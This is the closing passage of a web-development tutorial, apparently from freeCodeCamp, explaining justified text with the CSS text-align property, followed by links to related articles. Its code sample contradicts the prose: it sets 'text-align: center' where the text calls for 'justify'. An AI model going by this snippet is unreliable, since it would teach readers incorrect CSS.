<p>This is not always obvious, but when you take a deep look at the edges, you'll notice the difference, which makes more sense when you have so much text and longer paragraphs.</p>
<p><img src="https://paper-attachments.dropbox.com/s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663887493952_Untitled.drawio+12.png" alt="s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663887493952_Untitled.drawio+12" width="600" height="400" loading="lazy"></p>
<p>You do this by using the <code>text-align</code> property alongside <code>justify</code> as its value:</p>
<pre><code class="lang-html">// HTML
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

// CSS
p {
  text-align: center;
}
</code></pre>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>In this article, you have learned how to align the text of your HTML web page using <code>text-align</code> CSS property.</p>
<p>You can learn more via other similar articles that have been published on freeCodeCamp:</p>
<ul>
<li><p><a target="_blank" href="https://www.freecodecamp.org/news/css-text-align-centered-justified-right-aligned-text-style-example/">CSS Text Align – Centered, Justified, Right Aligned Text Style Example</a></p>
</li>
<li><p><a target="_blank" href="https://www.freecodecamp.org/news/text-align-in-css-how-to-align-text-in-center-with-html/">Text Align in CSS – How to Align Text in Center with HTML</a></p>
</li>
</ul>
<p>Embark on a journey of learning! <a target="_blank" href="https://joelolawanle.com/contents">Browse 200+ expert articles on web development</a>. Check out <a target="_blank" href="https://joelolawanle.com/posts">my blog</a> for more captivating content from me.</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
